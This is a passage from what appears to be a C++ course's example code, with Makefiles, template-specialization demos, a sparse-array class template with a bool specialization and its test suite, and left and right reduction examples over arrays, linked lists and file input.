int *indices;
int len, capacity;
bool defval;
int Find(int idx) const;
void Add(int idx);
void Remove(int idx);
bool Get(int idx) const;
void Set(int idx, bool x);
public:
SparseArray(const bool &dv)
: indices(0), len(0), capacity(0), defval(dv) {}
~SparseArray() { delete[] indices; }
class Interm {
friend class SparseArray<bool>;
SparseArray<bool> *master;
int index;
Interm(SparseArray<bool> *a_master, int ind)
: master(a_master), index(ind) {}
public:
operator bool() const { return master->Get(index); }
bool operator=(bool x) { master->Set(index, x); return x; }
bool operator=(const Interm& x) { return *this = bool(x); }
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
bool operator[](int idx) const { return Get(idx); }
int NonzeroCount() const { return len; }
private:
SparseArray(const SparseArray<bool>&) {}
void operator=(const SparseArray<bool>&) {}
};
inline int SparseArray<bool>::Find(int idx) const
{
for (int i = 0; i < len; i++)
if (indices[i] == idx)
return i;
return -1;
}
inline void SparseArray<bool>::Add(int idx)
{
if (Find(idx) != -1)
return;
if (len == capacity) {
int new_capacity = capacity ? 2 * capacity : 16;
int *new_indices = new int[new_capacity];
for (int i = 0; i < len; i++)
new_indices[i] = indices[i];
delete[] indices;
indices = new_indices;
capacity = new_capacity;
}
indices[len] = idx;
len++;
}
inline void SparseArray<bool>::Remove(int idx)
{
int pos = Find(idx);
if (pos == -1)
return;
indices[pos] = indices[len - 1];
len--;
}
inline bool SparseArray<bool>::Get(int idx) const
{
bool stored = Find(idx) != -1;
return stored ? !defval : defval;
}
inline void SparseArray<bool>::Set(int idx, bool x)
{
if (x == defval)
Remove(idx);
else
Add(idx);
}
#endif
03f-specialization (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
functions.cppC++ / 28 lines
#include <stdio.h>
template <class T>
void f(T) /* A: the general template */
{
printf("A: f(T)\n");
}
/* changing order of S and B results in different behaviour */
template <>
void f(int*) /* S: special case for int* */
{
printf("S: special case\n");
}
template <class T>
void f(T*) /* B: an overload for pointers */
{
printf("B: f(T*)\n");
}
int main()
{
int n = 0;
f<int>(&n);
return 0;
}
functions01.cppC++ / 28 lines
#include <stdio.h>
#include <string.h>
template <class T>
bool less(T a, T b) /* A: anything */
{
return a < b;
}
template <class T>
bool less(T *a, T *b) /* B: pointers, compare targets */
{
return *a < *b;
}
template <>
bool less(const char *a, const char *b) /* S: strings, by strcmp */
{
return strcmp(a, b) < 0;
}
int main()
{
const char *x = "apple", *y = "apricot";
printf("%d\n", less(x, y));
return 0;
}
pointer.cppC++ / 39 lines
#include <stdio.h>
template <class Z>
class Foo { /* the general version */
Z value;
public:
Foo(Z v) : value(v) {}
Z Get() const { return value; }
const char *Which() const { return "general"; }
};
template <class T>
class Foo<T*> { /* for any pointer type */
T *ptr;
public:
Foo(T *p) : ptr(p) {}
T Get() const { return *ptr; } /* T is what it points to */
const char *Which() const { return "for pointers"; }
unsigned long TargetSize() const { return sizeof(T); }
};
int main()
{
int n = 5;
double d = 2.5;
int *pn = &n;
Foo<int> a(n);
Foo<int*> b(&n);
Foo<double*> c(&d);
Foo<int**> e(&pn);
printf("Foo<int>: %-13s Get() = %d\n", a.Which(), a.Get());
printf("Foo<int*>: %-13s Get() = %d, T is %lu bytes\n",
b.Which(), b.Get(), b.TargetSize());
printf("Foo<double*>: %-13s Get() = %g, T is %lu bytes\n",
c.Which(), c.Get(), c.TargetSize());
printf("Foo<int**>: %-13s *Get() = %d, T is %lu bytes\n",
e.Which(), *e.Get(), e.TargetSize());
return 0;
}
pointer01.cppC++ / 32 lines
#include <stdio.h>
template <class T>
class Foo {
T value;
public:
Foo(T v) : value(v) {}
T Get() const { return value; }
const char *Which() const { return "general"; }
};
template <class T>
class Foo<T*> {
T *ptr;
public:
Foo(T *p) : ptr(p) {}
T Get() const { return *ptr; }
const char *Which() const { return "for pointers"; }
unsigned long TargetSize() const { return sizeof(T); }
};
int main()
{
int n = 5;
Foo<int> a(n);
Foo<int*> b(&n);
printf("Foo<int>: %s %d\n", a.Which(), a.Get());
printf("Foo<int*>: %s %d %lu\n", b.Which(), b.Get(), b.TargetSize());
return 0;
}
sort_less00.cppC++ / 63 lines
#include <stdio.h>
template <class T>
inline void swap(T &x, T &y)
{
T tmp = x;
x = y;
y = tmp;
}
template <class Z>
struct Less {
static bool Check(Z a, Z b) { return a < b; }
};
template <class T>
struct Less<T*> {
static bool Check(T *a, T *b) { return *a < *b; }
};
template <class T>
void sort(T *array, int len)
{
for (int start = 0; ; start++) {
bool done = true;
for (int i = len - 2; i >= start; i--)
if (Less<T>::Check(array[i + 1], array[i])) {
swap(array[i], array[i+1]);
done = false;
}
if (done)
break;
}
}
void print(const int *array, int len)
{
for (int i = 0; i < len; i++)
printf("%d ", array[i]);
printf("\n");
}
int main()
{
int values[] = { 30, 10, 40, 20 };
int len = sizeof(values) / sizeof(*values);
int *pointers[4];
for (int i = 0; i < len; i++)
pointers[i] = &values[i];
sort(pointers, len);
for (int i = 0; i < len; i++)
printf("%d ", *pointers[i]);
printf("\n");
printf("values untouched: ");
print(values, len);
sort(values, len);
print(values, len);
return 0;
}
sort_less01.cppC++ / 63 lines
#include <stdio.h>
template <class T>
inline void swap(T &x, T &y)
{
T tmp = x;
x = y;
y = tmp;
}
template <class T>
bool less(T a, T b) /* anything: compare the values */
{
return a < b;
}
template <class T>
bool less(T *a, T *b) /* pointers: compare the targets */
{
return *a < *b;
}
template <class T>
void sort(T *array, int len)
{
for (int start = 0; ; start++) {
bool done = true;
for (int i = len - 2; i >= start; i--)
if (less(array[i + 1], array[i])) {
swap(array[i], array[i+1]);
done = false;
}
if (done)
break;
}
}
void print(int *array, int len)
{
for (int i = 0; i < len; i++)
printf("%d ", array[i]);
printf("\n");
}
int main()
{
int values[] = { 30, 10, 40, 20 };
int len = sizeof(values) / sizeof(*values);
int *pointers[] = { &values[0], &values[1], &values[2], &values[3] };
sort(pointers, len);
for (int i = 0; i < len; i++)
printf("%d ", *pointers[i]);
printf("\n");
printf("values untouched: ");
print(values, len);
sort(values, len);
print(values, len);
return 0;
}
specialization.cppC++ / 44 lines
#include <stdio.h>
template <class A, class B> /* the general template */
class Cls {
A first;
B second;
public:
const char *Which() const { return "general"; }
};
template <class X> /* the specializing variant */
class Cls<X, int> {
X first;
int count;
public:
Cls() : count(0) {}
const char *Which() const { return "second is int"; }
void Count() { count++; } /* exists only in this variant */
};
template <> /* a full specialization */
class Cls<double, int> {
public:
const char *Which() const { return "exactly double, int"; }
};
int main()
{
Cls<char, double> a;
Cls<char, int> b;
Cls<long, int> c;
Cls<int, char> d;
Cls<double, int> e;
printf("Cls<char, double>: %s\n", a.Which());
printf("Cls<char, int>: %s\n", b.Which());
printf("Cls<long, int>: %s\n", c.Which());
printf("Cls<int, char>: %s\n", d.Which());
printf("Cls<double, int>: %s\n", e.Which());
b.Count();
#ifdef ERRORS
a.Count();
#endif
return 0;
}
03g-sparse (10-07)
MakefileMake / 20 lines
MODULES = sparse
SRCMODULES = $(wildcard $(MODULES:=.cpp))
HEADERS = $(wildcard $(MODULES:=.hpp))
OBJMODULES = $(SRCMODULES:.cpp=.o)
PROGRAMS = main
CXXFLAGS = -g -Wall -ansi -pedantic -Wno-long-long -fwrapv
all: $(PROGRAMS)
%.o: %.cpp $(HEADERS)
$(CXX) $(CXXFLAGS) -c $< -o $@
$(PROGRAMS): %: %.cpp $(OBJMODULES) $(HEADERS)
$(CXX) $(CXXFLAGS) $(filter-out %.hpp,$^) $(LDLIBS) -o $@
clean:
rm -f *.o $(PROGRAMS)
main.cppC++ / 368 lines
#include <stdio.h>
#include "sparse.hpp"
static int checks = 0, failures = 0;
bool check(bool ok, const char *msg)
{
checks++;
if (!ok) {
fprintf(stderr, "wrong %s\n", msg);
failures++;
}
return ok;
}
void check_int(long got, long want, const char *msg)
{
if (!check(got == want, msg))
fprintf(stderr, " got %ld, want %ld\n", got, want);
}
void test_assignment()
{
SparseArray<int> a(0);
check_int(a[5], 0, "missing element is the default");
check_int(a.NonzeroCount(), 0, "empty array stores nothing");
a[5] = 10;
a[-3] = 20;
a[1000000] = 30;
check_int(a[5], 10, "assigned element");
check_int(a[-3], 20, "negative index");
check_int(a[1000000], 30, "large index");
check_int(a.NonzeroCount(), 3, "count after three assignments");
a[5] = 11;
check_int(a[5], 11, "overwritten element");
check_int(a.NonzeroCount(), 3, "overwriting adds nothing");
a[5] = 0;
check_int(a[5], 0, "element assigned the default");
check_int(a.NonzeroCount(), 2, "assigning the default removes");
a[77] = 0;
check_int(a.NonzeroCount(), 2, "default to a missing element");
check_int(a[8] = 9, 9, "value of an assignment");
}
void test_element_to_element()
{
SparseArray<int> a(0);
a[1] = 10;
a[2] = 20;
a[1] = a[2];
check_int(a[1], 20, "a[1] = a[2]");
a[3] = a[9];
check_int(a.NonzeroCount(), 2, "a[3] = missing stores nothing");
a[2] = a[9];
check_int(a.NonzeroCount(), 1, "a[2] = missing removes a[2]");
a[1] = a[1];
check_int(a[1], 20, "a[1] = a[1]");
a[4] = a[5] = 7;
check_int(a[4] + a[5], 14, "a[4] = a[5] = 7");
}
/* every operator generated by SPARSE_ASSIGN, on the same start value */
void test_assign_operators()
{
SparseArray<int> a(0);
int i;
for (i = 0; i < 10; i++)
a[i] = 12;
check_int(a[0] += 5, 17, "+=");
check_int(a[1] -= 5, 7, "-=");
check_int(a[2] *= 5, 60, "*=");
check_int(a[3] /= 5, 2, "/=");
check_int(a[4] %= 5, 2, "%=");
check_int(a[5] |= 3, 15, "|=");
check_int(a[6] &= 5, 4, "&=");
check_int(a[7] ^= 5, 9, "^=");
check_int(a[8] <<= 2, 48, "<<=");
check_int(a[9] >>= 2, 3, ">>=");
check_int(a[0] + a[1] + a[2] + a[3] + a[4], 88, "stored: first five");
check_int(a[5] + a[6] + a[7] + a[8] + a[9], 79, "stored: last five");
}
/* an operator whose result is the default must remove the element */
void test_operators_remove()
{
SparseArray<int> a(0);
int i;
for (i = 0; i < 8; i++)
a[i] = 12;
a[0] += -12;
a[1] -= 12;
a[2] *= 0;
a[3] /= 13;
a[4] %= 12;
a[5] &= 3;
a[6] ^= 12;
a[7] >>= 4;
check_int(a.NonzeroCount(), 0, "results equal to the default");
a[9] += 5;
check_int(a[9], 5, "+= on a missing element");
a[8] += 0;
check_int(a.NonzeroCount(), 1, "+= 0 on a missing element");
a[9] += a[9];
check_int(a[9], 10, "a[9] += a[9]");
a[9] -= a[9];
check_int(a.NonzeroCount(), 0, "a[9] -= a[9]");
}
/* the operators generated by SPARSE_STEP */
void test_steps()
{
SparseArray<int> a(0);
a[1] = 5;
check_int(++a[1], 6, "prefix ++ gives the new value");
check_int(a[1]++, 6, "postfix ++ gives the old value");
check_int(a[1], 7, "after two increments");
check_int(--a[1], 6, "prefix -- gives the new value");
check_int(a[1]--, 6, "postfix -- gives the old value");
check_int(a[1], 5, "after two decrements");
check_int(a[2]++, 0, "postfix ++ on a missing element");
check_int(a[2], 1, "missing element after ++");
a[2]--;
check_int(a.NonzeroCount(), 1, "-- down to the default removes");
a[3] = -1;
++a[3];
check_int(a.NonzeroCount(), 1, "++ up to the default removes");
}
void test_nonzero_default()
{
SparseArray<int> a(100);
check_int(a[5], 100, "missing element, default 100");
a[5] += 1;
check_int(a[5], 101, "+= starts from the default");
a[6] = 0;
check_int(a.NonzeroCount(), 2, "zero is stored when default is 100");
a[5]--;
a[6] = 100;
check_int(a.NonzeroCount(), 0, "back to the default");
}
void test_const_reference()
{
SparseArray<int> a(0);
const SparseArray<int>& c = a;
int i, sum = 0;
a[1] = 10;
a[3] = 30;
for (i = 0; i < 100; i++)
sum += c[i];
check_int(sum, 40, "sum through a const reference");
check_int(a.NonzeroCount(), 2, "reading creates nothing");
check(&c[1] == &c[1], "same object for an existing element");
check(&c[2] == &c[99], "one object for all missing elements");
check(&c[1] != &c[3], "different objects for different elements");
const int& r = c[3];
a[3] = 31;
check_int(r, 31, "a reference follows its element");
}
void test_double()
{
SparseArray<double> d(0.5);
d[1] = 2.0;
d[1] *= 4;
d[2] += 1.5;
d[3] = 0.5;
check(d[1] == 8.0, "double: *=");
check(d[2] == 2.0, "double: += from the default");
check(d[9] == 0.5, "double: missing element");
check_int(d.NonzeroCount(), 2, "double: count");
d[2] -= 1.5;
check_int(d.NonzeroCount(), 1, "double: back to the default");
}
class Money { /* has ==, =, copying; nothing else */
long cents;
public:
Money(long a_cents = 0) : cents(a_cents) {}
long Cents() const { return cents; }
bool operator==(const Money& other) const { return cents == other.cents; }
};
void test_class_element()
{
SparseArray<Money> m(Money(0));
const SparseArray<Money>& c = m;
m[1] = Money(250);
m[2] = Money(999);
m[2] = Money(0);
check_int(c[1].Cents(), 250, "class: stored element");
check_int(c[2].Cents(), 0, "class: removed element");
check_int(Money(m[1]).Cents(), 250, "class: conversion to a copy");
check_int(m.NonzeroCount(), 1, "class: count");
m[3] = m[1];
check_int(c[3].Cents(), 250, "class: element to element");
}
struct Point {
int x, y;
};
void test_pointers()
{
Point p = { 3, 4 };
SparseArray<Point*> s(0);
bool thrown = false;
s[1] = &p;
check_int(s[1]->x + s[1]->y, 7, "pointers: reading through ->");
s[1]->x = 30;
check_int(p.x, 30, "pointers: changing through ->");
try {
s[9]->x = 1;
}
catch (const NullElement& ex) {
thrown = ex.Index() == 9;
}
check(thrown, "pointers: NullElement for a missing element");
check_int(s.NonzeroCount(), 1, "pointers: -> creates nothing");
}
void test_bool()
{
SparseArray<bool> b(false), t(true);
const SparseArray<bool>& c = b;
b[5] = true;
b[1000000] = true;
b[1] = 25;
check(c[5] && c[1000000] && c[1], "bool: elements set");
check(!c[0] && !c[6], "bool: missing elements are false");
check_int(c[1], 1, "bool: 25 is stored as true");
b[5] = true;
check_int(b.NonzeroCount(), 3, "bool: no duplicate index");
b[1] = false;
check_int(b.NonzeroCount(), 2, "bool: false removes");
b[0] = b[5];
check(c[0], "bool: element to element");
t[5] = false;
check(!t[5] && t[4], "bool: default true");
check_int(t.NonzeroCount(), 1, "bool: false stored, default true");
}
void test_bool_operators()
{
SparseArray<bool> b(false);
b[1] |= true;
b[2] |= false;
check_int(b.NonzeroCount(), 1, "bool: |=");
b[1] &= false;
check_int(b.NonzeroCount(), 0, "bool: &=");
b[3] ^= true;
b[3] ^= true;
b[4] ^= true;
check(!b[3] && b[4], "bool: ^=");
}
struct DivisionByZero {};
class Frac { /* /= throws on zero */
int n;
public:
Frac(int a_n = 0) : n(a_n) {}
int Num() const { return n; }
bool operator==(const Frac& other) const { return n == other.n; }
Frac& operator/=(const Frac& other);
};
Frac& Frac::operator/=(const Frac& other)
{
if (other.n == 0)
throw DivisionByZero();
n /= other.n;
return *this;
}
/* an operator that throws must leave the array as it was */
void test_throwing_operator()
{
SparseArray<Frac> f(Frac(0));
bool thrown = false;
f[1] = Frac(8);
try {
f[5] /= Frac(0);
}
catch (const DivisionByZero&) {
thrown = true;
}
check(thrown, "throwing: the exception gets out");
check_int(f.NonzeroCount(), 1, "throwing: a failed op stores nothing");
f[1] /= Frac(2);
check_int(Frac(f[1]).Num(), 4, "throwing: a good op still works");
}
class Tag { /* no default constructor */
int id;
public:
Tag(int a_id) : id(a_id) {}
int Id() const { return id; }
bool operator==(const Tag& other) const { return id == other.id; }
};
void test_no_default_constructor()
{
SparseArray<Tag> t(Tag(0));
const SparseArray<Tag>& c = t;
t[1] = Tag(7);
t[2] = t[1];
check_int(c[2].Id(), 7, "no default constructor: stored");
check_int(c[9].Id(), 0, "no default constructor: missing");
check_int(t.NonzeroCount(), 2, "no default constructor: count");
}
template <class T>
int count_set(SparseArray<T>& a, int n)
{
int i, count = 0;
for (i = 0; i < n; i++)
if (a[i])
count++;
return count;
}
void test_many()
{
SparseArray<int> a(0);
SparseArray<bool> b(false);
int i;
for (i = 0; i < 1000; i++) {
a[3 * i] = i + 1;
b[3 * i] = true;
}
check_int(a.NonzeroCount(), 1000, "many: int count");
check_int(b.NonzeroCount(), 1000, "many: bool count");
check_int(count_set(a, 3000), 1000, "many: int values");
check_int(count_set(b, 3000), 1000, "many: bool values");
for (i = 0; i < 1000; i += 2) {
a[3 * i] = 0;
b[3 * i] = false;
}
check_int(a.NonzeroCount(), 500, "many: int count after removal");
check_int(b.NonzeroCount(), 500, "many: bool count after removal");
check_int(a[3 * 999], 1000, "many: last element intact");
}
int main()
{
test_assignment();
test_element_to_element();
test_assign_operators();
test_operators_remove();
test_steps();
test_nonzero_default();
test_const_reference();
test_double();
test_class_element();
test_pointers();
test_bool();
test_bool_operators();
test_throwing_operator();
test_no_default_constructor();
test_many();
if (failures)
fprintf(stderr, "%d of %d checks failed\n", failures, checks);
else
printf("all %d checks passed\n", checks);
return failures != 0;
}
sparse.hppC++ / 237 lines
#ifndef SPARSE_HPP
#define SPARSE_HPP
class NullElement {
int index;
public:
NullElement(int idx) : index(idx) {}
int Index() const { return index; }
};
#define SPARSE_ASSIGN(TYPE, OP, ARG) \
TYPE operator OP(ARG x) \
{ TYPE v = *this; v OP x; return *this = v; }
#define SPARSE_STEP(TYPE, OP) \
TYPE operator OP() { TYPE v = *this; OP v; return *this = v; } \
TYPE operator OP(int) \
{ TYPE old = *this; TYPE v = old; v OP; *this = v; return old; }
template <class T>
class SparseArray {
struct Item {
int index;
T value;
Item *next;
Item(int idx, const T& val, Item *nxt)
: index(idx), value(val), next(nxt) {}
};
Item *first;
T defval;
T *Find(int idx) const;
void Remove(int idx);
const T& Get(int idx) const;
void Set(int idx, const T& x);
public:
SparseArray(const T& dv) : first(0), defval(dv) {}
~SparseArray();
class Interm {
friend class SparseArray<T>;
SparseArray<T> *master;
int index;
Interm(SparseArray<T> *a_master, int ind)
: master(a_master), index(ind) {}
public:
operator T() const { return master->Get(index); }
T operator=(const T& x) { master->Set(index, x); return x; }
T operator=(const Interm& x) { return *this = T(x); }
SPARSE_ASSIGN(T, +=, const T&)
SPARSE_ASSIGN(T, -=, const T&)
SPARSE_ASSIGN(T, *=, const T&)
SPARSE_ASSIGN(T, /=, const T&)
SPARSE_ASSIGN(T, %=, const T&)
SPARSE_ASSIGN(T, |=, const T&)
SPARSE_ASSIGN(T, &=, const T&)
SPARSE_ASSIGN(T, ^=, const T&)
SPARSE_ASSIGN(T, <<=, int)
SPARSE_ASSIGN(T, >>=, int)
SPARSE_STEP(T, ++)
SPARSE_STEP(T, --)
T operator->() const;
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
const T& operator[](int idx) const { return Get(idx); }
int NonzeroCount() const;
private:
SparseArray(const SparseArray<T>&) {}
void operator=(const SparseArray<T>&) {}
};
template <class T>
SparseArray<T>::~SparseArray()
{
while (first) {
Item *tmp = first;
first = first->next;
delete tmp;
}
}
template <class T>
T *SparseArray<T>::Find(int idx) const
{
for (Item *tmp = first; tmp; tmp = tmp->next)
if (tmp->index == idx)
return &tmp->value;
return 0;
}
template <class T>
void SparseArray<T>::Remove(int idx)
{
for (Item **tmp = &first; *tmp; tmp = &(*tmp)->next)
if ((*tmp)->index == idx) {
Item *to_delete = *tmp;
*tmp = to_delete->next;
delete to_delete;
return;
}
}
template <class T>
const T& SparseArray<T>::Get(int idx) const
{
T *found = Find(idx);
if (found)
return *found;
return defval;
}
template <class T>
void SparseArray<T>::Set(int idx, const T& x)
{
if (x == defval) {
Remove(idx);
return;
}
T *found = Find(idx);
if (found)
*found = x;
else
first = new Item(idx, x, first);
}
template <class T>
int SparseArray<T>::NonzeroCount() const
{
int sum = 0;
for (Item *tmp = first; tmp; tmp = tmp->next)
sum++;
return sum;
}
template <class T>
T SparseArray<T>::Interm::operator->() const
{
T p = *this;
if (!p)
throw NullElement(index);
return p;
}
template <>
class SparseArray<bool> {
int *indices;
int len, capacity;
bool defval;
int Find(int idx) const;
void Add(int idx);
void Remove(int idx);
bool Get(int idx) const;
void Set(int idx, bool x);
public:
SparseArray(bool dv) : indices(0), len(0), capacity(0), defval(dv) {}
~SparseArray() { delete[] indices; }
class Interm {
friend class SparseArray<bool>;
SparseArray<bool> *master;
int index;
Interm(SparseArray<bool> *a_master, int ind)
: master(a_master), index(ind) {}
public:
operator bool() const { return master->Get(index); }
bool operator=(bool x) { master->Set(index, x); return x; }
bool operator=(const Interm& x) { return *this = bool(x); }
SPARSE_ASSIGN(bool, |=, bool)
SPARSE_ASSIGN(bool, &=, bool)
SPARSE_ASSIGN(bool, ^=, bool)
};
friend class Interm;
Interm operator[](int idx) { return Interm(this, idx); }
bool operator[](int idx) const { return Get(idx); }
int NonzeroCount() const { return len; }
private:
SparseArray(const SparseArray<bool>&) {}
void operator=(const SparseArray<bool>&) {}
};
#undef SPARSE_ASSIGN
#undef SPARSE_STEP
inline int SparseArray<bool>::Find(int idx) const
{
for (int i = 0; i < len; i++)
if (indices[i] == idx)
return i;
return -1;
}
inline void SparseArray<bool>::Add(int idx)
{
if (Find(idx) != -1)
return;
if (len == capacity) {
int new_capacity = capacity ? 2 * capacity : 16;
int *new_indices = new int[new_capacity];
for (int i = 0; i < len; i++)
new_indices[i] = indices[i];
delete[] indices;
indices = new_indices;
capacity = new_capacity;
}
indices[len] = idx;
len++;
}
inline void SparseArray<bool>::Remove(int idx)
{
int pos = Find(idx);
if (pos == -1)
return;
indices[pos] = indices[len - 1];
len--;
}
inline bool SparseArray<bool>::Get(int idx) const
{
bool stored = Find(idx) != -1;
return stored ? !defval : defval;
}
inline void SparseArray<bool>::Set(int idx, bool x)
{
if (x == defval)
Remove(idx);
else
Add(idx);
}
#endif
Book example: reduce.cpp
reduce.cppC++ / 120 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
~ListPosition() {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem &Get() const { return p->data; }
};
template <class elem>
class ArrayPosition {
elem *p;
int rest_size;
public:
ArrayPosition(elem *a, int len) : p(a), rest_size(len) {}
~ArrayPosition() {}
ArrayPosition<elem> Next() const
{ return ArrayPosition(p+1, rest_size-1); }
bool Empty() const { return rest_size < 1; }
const elem &Get() const { return *p; }
};
class InputStreamPosition {
FILE *f;
int c;
public:
InputStreamPosition(FILE *af) : f(af) { c = fgetc(af); }
~InputStreamPosition() {}
InputStreamPosition Next() const { return InputStreamPosition(f); }
bool Empty() const { return c == EOF || c == '\n'; }
int Get() const { return c; }
};
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class t> t sum(t x, t y) { return x + y; }
template <class t> t prod(t x, t y) { return x * y; }
struct int_item {
int data;
struct int_item *next;
};
struct int_item *make_il(int d, struct int_item *rest)
{
struct int_item *p = new int_item;
p->data = d;
p->next = rest;
return p;
}
void print_ilist(const struct int_item *list)
{
if(!list) {
printf("\n");
return;
}
printf("%d ", list->data);
print_ilist(list->next);
}
struct int_item *print_il(int d, struct int_item *rest)
{
printf("%d ", d);
return 0;
}
int main()
{
{
int array[10] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
int res1 =
reduce_left(sum<int>, ArrayPosition<int>(array, 10), 0);
int res2 =
reduce_right(sum<int>, ArrayPosition<int>(array, 10), 0);
printf("%d %d\n", res1, res2);
int res3 =
reduce_left(prod<int>, ArrayPosition<int>(array, 10), 1);
int res4 =
reduce_right(prod<int>, ArrayPosition<int>(array, 10), 1);
printf("%d %d\n", res3, res4);
struct int_item * list =
reduce_right(make_il, ArrayPosition<int>(array, 10), (int_item*)0);
print_ilist(list);
int res5 =
reduce_left(prod<int>, ListPosition<int_item, int>(list), 1);
printf("%d\n", res5);
reduce_left(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
reduce_right(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
}
return 0;
}
04 (10-07)
MakefileMake / 8 lines
CXXFLAGS = -g -Wall -O0 -ansi -pedantic
PROGS = $(basename $(wildcard *.cpp))
all: $(PROGS)
clean:
rm -f *.o $(PROGS)
reduction00.cppC++ / 95 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
~ListPosition() {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem& Get() const { return p->data; }
};
template <class elem>
class ArrayPosition {
elem *p;
int rest_size;
public:
ArrayPosition(elem *a, int len) : p(a), rest_size(len) {}
~ArrayPosition() {}
ArrayPosition<elem> Next() const
{ return ArrayPosition(p + 1, rest_size - 1); }
bool Empty() const { return rest_size < 1; }
const elem& Get() const { return *p; }
};
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class t>
t sum(t x, t y)
{
return x + y;
}
template <class t>
t prod(t x, t y)
{
return x * y;
}
struct int_item {
int data;
struct int_item *next;
};
int_item *make_il(int d, int_item *rest)
{
int_item *p = new int_item;
p->data = d;
p->next = rest;
return p;
}
int_item *print_il(int d, int_item *rest)
{
printf("%d ", d);
return 0;
}
int main()
{
int array[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
int len = sizeof(array)/sizeof(*array);
int res1 = reduce_left(sum<int>, ArrayPosition<int>(array, len), 0);
int res2 = reduce_right(sum<int>, ArrayPosition<int>(array, len), 0);
int res3 = reduce_left(prod<int>, ArrayPosition<int>(array, len), 1);
int res4 = reduce_right(prod<int>, ArrayPosition<int>(array, len), 1);
printf("%d %d %d %d\n", res1, res2, res3, res4);
int_item *list =
reduce_right(make_il, ArrayPosition<int>(array, len), (int_item*)0);
int res5 = reduce_left(prod<int>, ListPosition<int_item, int>(list), 1);
printf("%d\n", res5);
reduce_left(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
reduce_right(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
return 0;
}
reduction01.cppC++ / 116 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
~ListPosition() {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem& Get() const { return p->data; }
};
template <class elem>
class ArrayPosition {
elem *p;
int rest_size;
public:
ArrayPosition(elem *a, int len) : p(a), rest_size(len) {}
~ArrayPosition() {}
ArrayPosition<elem> Next() const
{ return ArrayPosition(p + 1, rest_size - 1); }
bool Empty() const { return rest_size < 1; }
const elem& Get() const { return *p; }
};
class InputStreamPosition {
FILE *f;
int c;
public:
InputStreamPosition(FILE *af) : f(af) { c = fgetc(af); }
~InputStreamPosition() {}
InputStreamPosition Next() const { return InputStreamPosition(f); }
bool Empty() const { return c == EOF || c == '\n'; }
int Get() const { return c; }
};
template <class Pos, class Elem, class Res>
Res reduce_left(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
reduce_left(func, pos.Next(), func(pos.Get(), init));
}
template <class Pos, class Elem, class Res>
Res reduce_right(Res (*func)(Elem, Res), Pos pos, Res init)
{
return pos.Empty() ? init :
func(pos.Get(), reduce_right(func, pos.Next(), init));
}
template <class t> t sum(t x, t y) { return x + y; }
template <class t> t prod(t x, t y) { return x * y; }
struct int_item {
int data;
struct int_item *next;
};
int_item *make_il(int d, int_item *rest)
{
int_item *p = new int_item;
p->data = d;
p->next = rest;
return p;
}
void print_ilist(const int_item *list)
{
if (!list) {
printf("\n");
return;
}
printf("%d ", list->data);
print_ilist(list->next);
}
int_item *print_il(int d, int_item *rest)
{
printf("%d ", d);
return 0;
}
int main()
{
int array[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 };
int len = sizeof(array)/sizeof(*array);
int res1 = reduce_left(sum<int>, ArrayPosition<int>(array, len), 0);
int res2 = reduce_right(sum<int>, ArrayPosition<int>(array, len), 0);
printf("%d %d\n", res1, res2);
int res3 = reduce_left(prod<int>, ArrayPosition<int>(array, len), 1);
int res4 = reduce_right(prod<int>, ArrayPosition<int>(array, len), 1);
printf("%d %d\n", res3, res4);
int_item *list =
reduce_right(make_il, ArrayPosition<int>(array, len), (int_item*)0);
print_ilist(list);
int res5 = reduce_left(prod<int>, ListPosition<int_item, int>(list), 1);
printf("%d\n", res5);
reduce_left(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
reduce_right(print_il, ListPosition<int_item, int>(list), (int_item*)0);
printf("\n");
FILE *f = fopen("reduction01.t", "r");
int res6 = reduce_left(sum<int>, InputStreamPosition(f), 0);
printf("%d\n", res6);
return 0;
}
reduction02.cppC++ / 116 lines
#include <stdio.h>
template <class item, class elem>
class ListPosition {
item *p;
public:
ListPosition(item *lst) : p(lst) {}
~ListPosition() {}
ListPosition<item, elem> Next() const
{ return ListPosition(p->next); }
bool Empty() const { return !p; }
const elem& Get() const { return p->data; }
};
template <class elem>
class ArrayPosition {
elem *p;
int rest_size;
public:
ArrayPosition(elem *a, int len) : p(a), rest_size(len) {}
~ArrayPosition() {}
ArrayPosition<elem> Next() const
{ return ArrayPosition(p + 1, rest_size - 1); }
bool Empty() const { return rest_size < 1; }
const elem& Get() const { return *p; }
};
class InputStreamPosition {
FILE *f;
int c;
public:
